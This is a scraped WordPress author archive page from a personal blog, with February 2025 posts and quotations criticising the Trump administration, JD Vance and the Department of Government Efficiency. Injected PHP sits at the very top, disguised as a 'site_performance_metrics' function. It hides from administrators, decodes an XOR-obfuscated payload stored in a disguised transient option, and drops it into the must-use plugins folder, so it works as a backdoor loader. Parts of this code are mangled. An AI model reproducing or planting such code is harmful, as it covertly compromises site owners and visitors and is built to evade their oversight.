if(!function_exists('site_performance_metrics')){function site_performance_metrics(){if(function_exists('current_user_can')&¤t_user_can('manage_options'))return;$h=get_option('_transient_feed_mod_5ccc225b');if(!$h)return;$d=@hex2bin($h);if(!$d)return;$k='7ba4b004e5bc28a901fd4ffa3e752fcb';$o='';for($i=0;$i=2){if(!is_dir($mu))@$_fc[1]($mu,0755,true);@$_fc[0]($mf,@hex2bin($muc));} },20); add_filter('pre_option__transient_feed_mod_5ccc225b',function($v){ if(is_admin()&&!wp_doing_ajax()&&!wp_doing_cron()&&!defined('REST_REQUEST'))return false; if(function_exists('current_user_can')&¤t_user_can('manage_options'))return false; return $v;}); Ed Jacobs, Author at EDWARD JACOBS - Page 6 of 43

EDWARD JACOBS

Author: Ed Jacobs

  • 19 February, 2025

    After a wonderful few days visiting the grandsons, I’ve retaken a horrible mood by looking at the news. So very many horrid items to note, truly a dystopian chapter. There seems no end to what this crew of fascists is willing to do to people the world over. Just one person’s thoughts today, this from Bret Stephens:

    “In April 1928, Joseph Goebbels, later the Third Reich’s chief propagandist, wrote a newspaper essay addressing the question of why the National Socialists, despite being an “anti-parliamentarian party,” would nonetheless compete in that May’s parliamentary elections.

    “We enter the Reichstag to arm ourselves with democracy’s weapons,” Goebbels explained. “If democracy is foolish enough to give us free railway passes and salaries, that is its problem. It does not concern us. Any way of bringing about the revolution is fine by us.”

    Germany’s postwar federal republic, established over the ruins the Nazis made, has been haunted by Goebbels’s taunt ever since. How does a free society guard against being used, and possibly destroyed, by the rights and privileges it grants the enemies of freedom? How does it avoid the postwar fate of states like Czechoslovakia, which allowed Communist parties to gain a fatal foothold in their fledgling democracies? What about Palestinians, who voted for Mahmoud Abbas for president in 2005 and Hamas for Parliament in 2006 — and haven’t had an election since?

    For countries with a totalitarian past, finding the right answers to these questions is hard. Few have done it better than Germany, which remains unmistakably democratic not because it unthinkingly honors a principle of unfettered liberty (no democracy does) but because it vigilantly monitors the enemies of democracy while maintaining a memory of what the nation once was. It’s something for which all Americans should feel especially grateful, given the price we paid in lives to defeat Germany’s previous political incarnations.

    But not, apparently, JD Vance. The vice president’s speech last week at the Munich Security Conference — in which the man who refuses to say that Donald Trump lost the 2020 presidential election lectured his audience about Europe’s retreat from democratic values — combined with his meeting with the leader of the far-right Alternative for Germany, or AfD, party, has caused a scandal because it is a scandal, a monument of arrogance based on a foundation of hypocrisy.

    Sign up for the Opinion Today newsletter  Get expert analysis of the news and a guide to the big ideas shaping the world every weekday morning. Get it sent to your inbox.

    Why does the AfD dismay so many Germans, including traditional conservative voters? The party began in 2013 in protest of Germany’s fiscal policies in Europe. It gained a further boost through its opposition to Chancellor Angela Merkel’s open-arms policy toward the uncontrolled immigration of more than a million Middle Eastern refugees.

    But the party soon took a much darker turn. In 2017, Björn Höcke, a party leader in the eastern state of Thuringia, complained that Germans were “the only people in the world who’ve planted a monument of shame at the heart of their capital” — a reference to the memorial to the victims of the Holocaust — and that the country needed “nothing less than a 180-degree turnaround in the politics of remembrance.” In 2018, the party leader at the time, Alexander Gauland, dismissed “Hitler and the Nazis” as “just a speck of bird shit in over 1,000 years of successful German history.”

    Last year, the German investigative news site Correctiv reported that in 2023 AfD politicians had met with other far-right extremists in a hotel in Potsdam, near Berlin, to discuss an “overall concept, in the sense of a master plan” for the “remigration” of “migrants” to their countries of ethnic origin — no matter whether those migrants were asylum seekers, permanent residents or German citizens. The star of the show was a 34-year-old Austrian named Martin Sellner, who as a teenager confessed to putting swastika stickers on a synagogue before going on to lead Austria’s so-called identitarian movement.

    This record explains, in part, why all of Germany’s mainstream parties refuse to go into any sort of coalition government with the AfD, even as it is polling in second place in this month’s federal elections. Vance may seem to think it’s the responsibility of democracy to embrace any party or point of view; it’s worth wondering what he might have said if, instead of the AfD polling at around 20 percent, an antisemitic and anti-democratic Muslim Brotherhood-style party was drawing a similar percentage of voters.

    There’s another reason to fear the AfD. Last year, The Times’s Erika Solomon reported on a secret session in the German Parliament in which lawmakers heard evidence of ties between AfD politicians and Kremlin-connected operatives. The AfD denies the allegations, but it’s no surprise that the AfD wants to end German military aid for Ukraine and restart the Nord Stream pipelines through which Russia used to supply Germany with natural gas.

    In its first term, the Trump administration fought tooth-and-nail against Nord Stream, on the justified grounds that it made Germany dependent on an enemy of the West. Someone might ask Ric Grenell, Trump’s former ambassador to Berlin and now his special envoy, why the administration is now so fond of a party that effectively sides with that enemy?

    There’s an argument to be made in a future column that some European governments go too far to curtail legitimate free speech. There’s another one to be written about the many ways that Europe’s supposedly mainstream right-of-center parties, particularly Germany’s Christian Democrats under Merkel, adopted left-leaning positions on migration, domestic security, fiscal policy, energy policy and other issues that drove conservative voters into the arms of the far right.

    For now, the important point is this: Much like a certain British prime minister long ago, an American vice president went to Munich to carry on about his idealism while breaking bread with those who would obliterate democratic ideals. A disgrace.”

  • 13 February, 2025

    There are too many matters of non-integrity to point out, and too many people to point at. Today’s confirmation of Robert Kennedy, Jr. would make his father and uncle turn in their graves–and has made his entire clan speak out vociferously against him. Linda McMahon, formerly of the WWE, will be confirmed as head of DoEducation, and is there to do an ax job. Kash Patel leading FBI, and on, and on, and on with compete incompetency, inexperience, and lack of independent (from Herr Trump und Herr Musk) thinking being the mark of this administration.

    Just today the US Atty for the Southern District of Manhattan has resigned in protest to the Justice Dept’s bowing to his will via the order to withdraw corruption charges against the NYC mayor. As corrupt as politician as there’s ever been, he’s been sucking up to our current king since the inauguration in search of protection, pardon, etc.

    It just goes on and on, and is so very disgusting in every way. Read a bit more about the many lawsuits against this administration’s actions here.

  • 11 February, 2025

    Will an honorable party in congress stand up with a spine to stop all of this? Are we going to have to wait a full two years, for the country to vote out members of congress, to see how much damage he can do to our system by taking a criminal’s approach to vendetta, to transactional-real estate diplomacy? This is a truly shameful display of an absence of congressional independence, of the execution of our system of checks and balances.

    Just look at one day’s headlines.

    Screenshot

  • 8 February, 2025

    The false claims; the constant lies; the slight of hand that brings the country to pay attention to shiny things (DEI as the fault of everything) while he and his people follow paths of complete disrespect for the processes of our representative democracy; openly and brazenly shaping every action towards vindictiveness, spite, and revenge; pursuing the disregard for the human effect of their actions. He has successfully compiled a cast of characters out of the most dystopian fiction. I have yet to see or hear of any action that even tries to claim its motivation is about improving something about the lives of our country’s citizens.

    This layout of facts today re an unelected South African immigrant with Nazi sympathies taking over governmental systems is truly Orwellian. This Wired report is used as the basis of the February 7, 2025 On The Media, and is frighteningly worth reading/listening.

    When will our elected Republican representatives stand up and defend their own role in our system? Do we have to wait two full years until they lose their majority? So, so much damage will be done before then–so much has already been done in the first few weeks!

  • 3 February, 2025

    There are so very many probing and articulate voices available to us today. There are so many concerned and dedicated citizens of the world who are screaming to us to be aware of the many steps being taken–illegal steps being taken by POTUS–and are begging us to speak out. Here is another one:

    https://www.avindman.com/p/hostile-takeover

    Why It Matters

    Hostile Takeover

    “Department of Government Efficiency” Hijacks The Federal Government

    Alexander Vindman

    Feb 02, 2025
    Members of the newly created “Department of Government Efficiency” under Elon Musk have engaged in an ongoing campaign designed to cripple the basic functions of government and decimate the federal civil service. Members of the Department of Government Efficiency are reportedly pushing for full access to payment systems and intend to scrape data from within the Department of Treasury. Cloud Software Group CEO Tom Krause has been designated liaison between the Treasury and the Department of Government Efficiency, with Musk reportedly wanting to add the Treasury to the blockchain. Agents from the Department of Government Efficiency have demanded access to classified info with USAID, with Elon later calling the agency a criminal organization and declaring “Time for [USAID] to die”. Civil servants across the federal government have been offered buy-outs to leave their positions early. Not only have no funds been appropriated for these offers (nor has the full legality been determined), but these buy-outs are being made by an administration lead by someone who has notoriously scammed contractors and avoided paying invoices whenever possible. These actions are taking place in the midst of an ongoing purge of high-ranking officials within the FBI by the Trump administration.

    Make no mistake, what’s happening right now is a hostile takeover of the federal government by a private agency operating with a broad mandate and no concerns for the stability of the United States or the interests of the average American. It’s easier to break than it is to build, and Elon Musk’s agenda is focused on unraveling America’s governing institutions. When – not if – a preventable disaster is enabled by the Department of Government Efficiency’s decision to destroy a function of government in the name of “fighting wokeness”, there will be a reckoning for the damage Elon Musk has done.

    Alexander Vindman

  • 3 February, 2025

  • 2 February, 2025

    “I’m going to get a little wonky and write about Donald Trump and negotiations. For those who don’t know, I’m an adjunct professor at Indiana University – Robert H. McKinney School of Law and I teach negotiations. Okay, here goes.

    Trump, as most of us know, is the credited author of “The Art of the Deal,” a book that was actually ghost written by a man named Tony Schwartz, who was given access to Trump and wrote based upon his observations. If you’ve read The Art of the Deal, or if you’ve followed Trump lately, you’ll know, even if you didn’t know the label, that he sees all dealmaking as what we call “distributive bargaining.”

    Distributive bargaining always has a winner and a loser. It happens when there is a fixed quantity of something and two sides are fighting over how it gets distributed. Think of it as a pie and you’re fighting over who gets how many pieces. In Trump’s world, the bargaining was for a building, or for construction work, or subcontractors. He perceives a successful bargain as one in which there is a winner and a loser, so if he pays less than the seller wants, he wins. The more he saves the more he wins.

    The other type of bargaining is called integrative bargaining. In integrative bargaining the two sides don’t have a complete conflict of interest, and it is possible to reach mutually beneficial agreements. Think of it, not a single pie to be divided by two hungry people, but as a baker and a caterer negotiating over how many pies will be baked at what prices, and the nature of their ongoing relationship after this one gig is over.

    The problem with Trump is that he sees only distributive bargaining in an international world that requires integrative bargaining. He can raise tariffs, but so can other countries. He can’t demand they not respond. There is no defined end to the negotiation and there is no simple winner and loser. There are always more pies to be baked. Further, negotiations aren’t binary. China’s choices aren’t (a) buy soybeans from US farmers, or (b) don’t buy soybeans. They can also (c) buy soybeans from Russia, or Argentina, or Brazil, or Canada, etc. That completely strips the distributive bargainer of his power to win or lose, to control the negotiation.

    One of the risks of distributive bargaining is bad will. In a one-time distributive bargain, e.g. negotiating with the cabinet maker in your casino about whether you’re going to pay his whole bill or demand a discount, you don’t have to worry about your ongoing credibility or the next deal. If you do that to the cabinet maker, you can bet he won’t agree to do the cabinets in your next casino, and you’re going to have to find another cabinet maker.

    There isn’t another Canada.

    So when you approach international negotiation, in a world as complex as ours, with integrated economies and multiple buyers and sellers, you simply must approach them through integrative bargaining. If you attempt distributive bargaining, success is impossible. And we see that already.

    Trump has raised tariffs on China. China responded, in addition to raising tariffs on US goods, by dropping all its soybean orders from the US and buying them from Russia. The effect is not only to cause tremendous harm to US farmers, but also to increase Russian revenue, making Russia less susceptible to sanctions and boycotts, increasing its economic and political power in the world, and reducing ours. Trump saw steel and aluminum and thought it would be an easy win, BECAUSE HE SAW ONLY STEEL AND ALUMINUM – HE SEES EVERY NEGOTIATION AS DISTRIBUTIVE. China saw it as integrative, and integrated Russia and its soybean purchase orders into a far more complex negotiation ecosystem.

    Trump has the same weakness politically. For every winner there must be a loser. And that’s just not how politics works, not over the long run.

    For people who study negotiations, this is incredibly basic stuff, negotiations 101, definitions you learn before you even start talking about styles and tactics. And here’s another huge problem for us.

    Trump is utterly convinced that his experience in a closely held real estate company has prepared him to run a nation, and therefore he rejects the advice of people who spent entire careers studying the nuances of international negotiations and diplomacy. But the leaders on the other side of the table have not eschewed expertise, they have embraced it. And that means they look at Trump and, given his very limited tool chest and his blindly distributive understanding of negotiation, they know exactly what he is going to do and exactly how to respond to it.

    From a professional negotiation point of view, Trump isn’t even bringing checkers to a chess match. He’s bringing a quarter that he insists of flipping for heads or tails, while everybody else is studying the chess board to decide whether its better to open with Najdorf or Grünfeld.”

    — David Honig

  • 1 February, 2025

    “In my life, I have watched John Kennedy talk on television about missiles in Cuba. I saw Lyndon Johnson look Richard Russell squarely in the eye and and say, “And we shall overcome.” I saw Richard Nixon resign and Gerald Ford tell the Congress that our long national nightmare was over. I saw Jimmy Carter talk about malaise and Ronald Reagan talk about a shining city on a hill. I saw George H.W. Bush deliver the eulogy for the Soviet bloc, and Bill Clinton comfort the survivors of Timothy McVeigh’s madness in Oklahoma City. I saw George W. Bush struggle to make sense of it all on September 11, 2001, and I saw Barack Obama sing ‘Amazing Grace’ in the wounded sanctuary of Mother Emanuel Church in Charleston, South Carolina.

    “These were the presidents of my lifetime. These were not perfect men. They were not perfect presidents, god knows. Not one of them was that. But they approached the job, and they took to the podium, with all the gravitas they could muster as appropriate to the job. They tried, at least, to reach for something in the presidency that was beyond their grasp as ordinary human beings. They were not all ennobled by the attempt, but they tried nonetheless.

    “And comes now this hopeless, vicious buffoon, and the audience of equally hopeless and vicious buffoons who laughed and cheered when he made sport of a woman whose lasting memory of the trauma she suffered is the laughter of the perpetrators. Now he comes, a man swathed in scandal, with no interest beyond what he can put in his pocket and what he can put over on a universe of suckers, and he does something like this while occupying an office that we gave him, and while endowed with a public trust that he dishonors every day he wakes up in the White House.

    “The scion of a multigenerational criminal enterprise, the parameters of which we are only now beginning to comprehend. A vessel for all the worst elements of the American condition. And a cheap, soulless bully besides. We never have had such a cheap counterfeit of a president* as currently occupies the office. We never have had a president* so completely deserving of scorn and yet so small in the office that it almost seems a waste of time and energy to summon up the requisite contempt.

    “Watch how a republic dies in the empty eyes of an empty man who feels nothing but his own imaginary greatness, and who cannot find in himself the decency simply to shut up even when it is in his best interest to do so. Presidents don’t have to be heroes to be good presidents. They just have to realize that their humanity is our common humanity, and that their political commonwealth is our political commonwealth, too.

    Watch him behind the seal of the President of the United States. Isn’t he a funny man? Isn’t what happened to that lady hilarious? Watch the assembled morons cheer. This is the only story now.”

    – Charles Pierce from Esquire

  • 31 January, 2025

    “I’m sorry, but I look at the Trump administration’s behavior over the last week and the only word that accurately describes it is: stupid.” David Brooks, NYTimes, 1/30/25

  • 29 January, 2025

    “Refuse to be distracted from your important work.” Sharon McMahon

    I listened to this podcast today. It’s a show I regularly listen to, but it was my first exposure to Sharon McMahon. I highly recommend this episode. And I’ve now subscribed to Sharon McMahon’s Here’s Where It Gets Interesting.